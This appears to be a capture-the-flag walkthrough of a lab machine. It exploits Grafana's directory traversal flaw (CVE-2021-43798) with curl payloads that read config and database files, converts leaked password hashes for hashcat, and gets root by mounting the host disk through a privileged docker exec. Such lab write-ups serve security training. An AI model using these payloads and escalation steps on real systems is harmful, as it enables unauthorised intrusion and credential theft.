Data starts out with Grafana being ran on port 3000. We are able to use Unauthorized Arbitrary File Read Vulnerability (CVE-2021-43798) and exfil grafana.ini and grafana.db. Having these we can use a python script to convert this data and hashes to sha256 for hashcat. This gets us on the box as boris. Looking at his privileges we can execute docker exec. To get root privileges on the docker container we can run sudo /snap/bin/docker exec --privileged -u 0 -it grafana /bin/bash. From here we can see the filesystem df -h and since we’re root we can mkdir /tmp/pwnd and mount /dev/xXxXx /mnt/pwnd. This lets us read, write, and execute on host filesystem outside the container.

Initial Nmap

1
2
3
PORT     STATE SERVICE REASON         VERSION                                                 
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
3000/tcp open ppp? syn-ack ttl 62

HTTP (Port 3000 - Grafana)

Going to this shows a login page with a version number at the bottom we can use.

Researching gave us CVE-2021-43798, where we can include files using Directory Traversal. So we can exfil the grafana.ini and the grafana.db

1
2
$ curl --path-as-is http://10.10.89.74:3000/public/plugins/mysql/../../../../../../../../../../etc/grafana/grafana.ini -o grafana.ini
$ curl --path-as-is http://data.vl:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db

Looking in the db file we see hashes for admin and boris. We note the password, and the salt. We can use a python script to generate sha256 hashes for use so we can crack them with hashcat.

grafana.db

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
CREATE TABLE `user` (                                                                          
`id` INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL
, `version` INTEGER NOT NULL
, `login` TEXT NOT NULL
, `email` TEXT NOT NULL
, `name` TEXT NULL
, `password` TEXT NULL
, `salt` TEXT NULL
, `rands` TEXT NULL
, `company` TEXT NULL
, `org_id` INTEGER NOT NULL
, `is_admin` INTEGER NOT NULL
, `email_verified` INTEGER NULL
, `theme` TEXT NULL
, `created` DATETIME NOT NULL
, `updated` DATETIME NOT NULL
, `help_flags1` INTEGER NOT NULL DEFAULT 0, `last_seen_at` DATETIME NULL, `is_disabled` INTEGER NOT NULL DEFAULT 0);
INSERT INTO user VALUES(1,0,'admin','admin@localhost','','7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8','YObSoLj55S','hLLY6QQ4Y6','',1
,1,0,'','2022-01-23 12:48:04','2022-01-23 12:48:50',0,'2022-01-23 12:48:50',0);
INSERT INTO user VALUES(2,0,'boris','boris@data.vl','boris','<SNIP>f4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8','<SNIP>','mYl941ma8w','
',1,0,0,'','2022-01-23 12:49:11','2022-01-23 12:49:11',0,'2012-01-23 12:49:11',0);

decryptor.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import hashlib
import base64

def calculate_hash(password, salt):
decoded_hash = bytes.fromhex(password)
salt_base64 = base64.b64encode(salt.encode('utf-8')).decode('utf-8')
hash_base64 = base64.b64encode(decoded_hash).decode('utf-8')
return f'sha256:10000:{salt_base64}:{hash_base64}'

# boris
boris_password = "<SNIP>34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8"
boris_salt = "<SNIP>"
boris_hash = calculate_hash(boris_password, boris_salt)

# admin
admin_password = "<SNIP>5cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8"
admin_salt = "<SNIP>"
admin_hash = calculate_hash(admin_password, admin_salt)

print(f"[+] Boris hash: {boris_hash}")
print(f"[+] Admin hash: {admin_hash}")

with open("hashes.txt", "w") as file:
file.write(boris_hash + "\n")
file.write(admin_hash + "\n")

Running this script gave us hashes we can run through hashcat.

1
2
[+] Boris hash: sha256:10000:<REDACTED>:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=
[+] Admin hash: sha256:10000:<REDACTED>:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=

Hashcat reveals a cleartext password for boris.

1
2
3
4
5
6
7
8
9
10
11
12
13
hashcat (v6.2.6) starting in autodetect mode                                                                                                                                                                                                                                         
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10900 | PBKDF2-HMAC-SHA256 | Generic KDF

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:<REDATED>

We can login to the site, but we can also ssh in as boris.

Shell as boris

1
2
3
4
5
6
$ ssh boris@data.vl  
boris@data.vl's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1060-aws x86_64)

Last login: Sun Jan 23 13:11:53 2022 from 10.10.1.254
boris@ip-10-10-10-11:~$

Doing some manual enumeration we find docker running, we can confirm by looking for a socket(usually /run/docker.sock). We also can see if we can read/write to it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
boris@ip-10-10-10-11:~$ df -h
Filesystem Size Used Avail Use% Mounted on
udev 476M 0 476M 0% /dev
tmpfs 98M 876K 98M 1% /run
/dev/xvda1 7.7G 1.6G 6.2G 20% /
tmpfs 490M 0 490M 0% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 490M 0 490M 0% /sys/fs/cgroup
/dev/loop0 25M 25M 0 100% /snap/amazon-ssm-agent/4046
/dev/loop1 56M 56M 0 100% /snap/core18/2253
/dev/loop2 43M 43M 0 100% /snap/snapd/14066
/dev/loop3 117M 117M 0 100% /snap/docker/1125
tmpfs 98M 0 98M 0% /run/user/1001
boris@ip-10-10-10-11:~$ find / -iname docker.sock 2>/dev/null
/run/docker.sock
boris@ip-10-10-10-11:~$ ls -lsa /run/docker.sock
0 srw-rw---- 1 root root 0 Dec 22 15:31 /run/docker.sock
boris@ip-10-10-10-11:~$

We can look at his permissions and see we can use docker as well with root privileges.

1
2
3
4
5
6
boris@ip-10-10-10-11:~$ sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on ip-10-10-10-11:
(root) NOPASSWD: /snap/bin/docker exec *

Docker PrivEsc

We can use docker to escalate our privilege. We know the docker container running is grafana. We can use the --privileged flag to create a misconfig that will allow us to access the host filesystem. Also setting our -u to 0 (root user).

1
2
3
4
boris@ip-10-10-10-11:~$ sudo /snap/bin/docker exec --privileged -u 0 -it grafana /bin/bash
bash-5.1# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
bash-5.1#

Looking at the filesystem once again. We have xvda1 we can mount to, this being to the filesystem the docker container is using.

1
2
3
4
5
6
7
8
9
bash-5.1# df -h
Filesystem Size Used Available Use% Mounted on
overlay 7.7G 1.5G 6.2G 20% /
tmpfs 64.0M 0 64.0M 0% /dev
tmpfs 489.3M 0 489.3M 0% /sys/fs/cgroup
shm 64.0M 0 64.0M 0% /dev/shm
/dev/xvda1 7.7G 1.5G 6.2G 20% /etc/resolv.conf
/dev/xvda1 7.7G 1.5G 6.2G 20% /etc/hostname
/dev/xvda1 7.7G 1.5G 6.2G 20% /etc/hosts

Let’s create a folder and mount it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
bash-5.1# mkdir /tmp/pwnd
bash-5.1# mount /dev/xvda1 /tmp/pwnd
bash-5.1# ls -alis /tmp/pwnd/
total 104
2 4 drwxr-xr-x 23 root root 4096 Dec 22 15:31 .
258310 4 drwxrwxrwt 1 root root 4096 Dec 22 17:17 ..
12 4 drwxr-xr-x 2 root root 4096 Nov 29 2021 bin
180 4 drwxr-xr-x 3 root root 4096 Nov 29 2021 boot
192 4 drwxr-xr-x 4 root root 4096 Nov 29 2021 dev
206 4 drwxr-xr-x 91 root root 4096 Dec 22 15:31 etc
1637 4 drwxr-xr-x 4 root root 4096 Jan 23 2022 home
55945 0 lrwxrwxrwx 1 root root 30 Nov 29 2021 initrd.img -> boot/initrd.img-5.4.0-1060-aws
55943 0 lrwxrwxrwx 1 root root 30 Nov 29 2021 initrd.img.old -> boot/initrd.img-5.4.0-1060-aws
1640 4 drwxr-xr-x 20 root root 4096 Nov 29 2021 lib
3837 4 drwxr-xr-x 2 root root 4096 Nov 29 2021 lib64
11 16 drwx------ 2 root root 16384 Nov 29 2021 lost+found
3839 4 drwxr-xr-x 2 root root 4096 Nov 29 2021 media
3840 4 drwxr-xr-x 2 root root 4096 Nov 29 2021 mnt
3841 4 drwxr-xr-x 2 root root 4096 Nov 29 2021 opt
3842 4 drwxr-xr-x 2 root root 4096 Apr 24 2018 proc
3843 4 drwx------ 5 root root 4096 Jan 23 2022 root
3846 4 drwxr-xr-x 5 root root 4096 Nov 29 2021 run
3849 4 drwxr-xr-x 2 root root 4096 Nov 29 2021 sbin
4069 4 drwxr-xr-x 7 root root 4096 Jan 23 2022 snap
4070 4 drwxr-xr-x 2 root root 4096 Nov 29 2021 srv
4071 4 drwxr-xr-x 2 root root 4096 Apr 24 2018 sys
4072 4 drwxrwxrwt 11 root root 4096 Dec 22 16:49 tmp
4073 4 drwxr-xr-x 11 root root 4096 Nov 29 2021 usr
60780 4 drwxr-xr-x 13 root root 4096 Nov 29 2021 var
55944 0 lrwxrwxrwx 1 root root 27 Nov 29 2021 vmlinuz -> boot/vmlinuz-5.4.0-1060-aws
49497 0 lrwxrwxrwx 1 root root 27 Nov 29 2021 vmlinuz.old -> boot/vmlinuz-5.4.0-1060-aws
bash-5.1# ls -alis /tmp/pwnd/root/
total 28
3843 4 drwx------ 5 root root 4096 Jan 23 2022 .
2 4 drwxr-xr-x 23 root root 4096 Dec 22 15:31 ..
181 0 lrwxrwxrwx 1 root root 9 Jan 23 2022 .bash_history -> /dev/null
256239 4 drwxr-xr-x 3 root root 4096 Jan 23 2022 .local
3844 4 -rw-r--r-- 1 root root 148 Aug 17 2015 .profile
256089 4 drwx------ 2 root root 4096 Jan 23 2022 .ssh
56047 4 -rw-r--r-- 1 root root 37 Jan 23 2022 root.txt
256188 4 drwxr-xr-x 4 root root 4096 Jan 23 2022 snap
bash-5.1#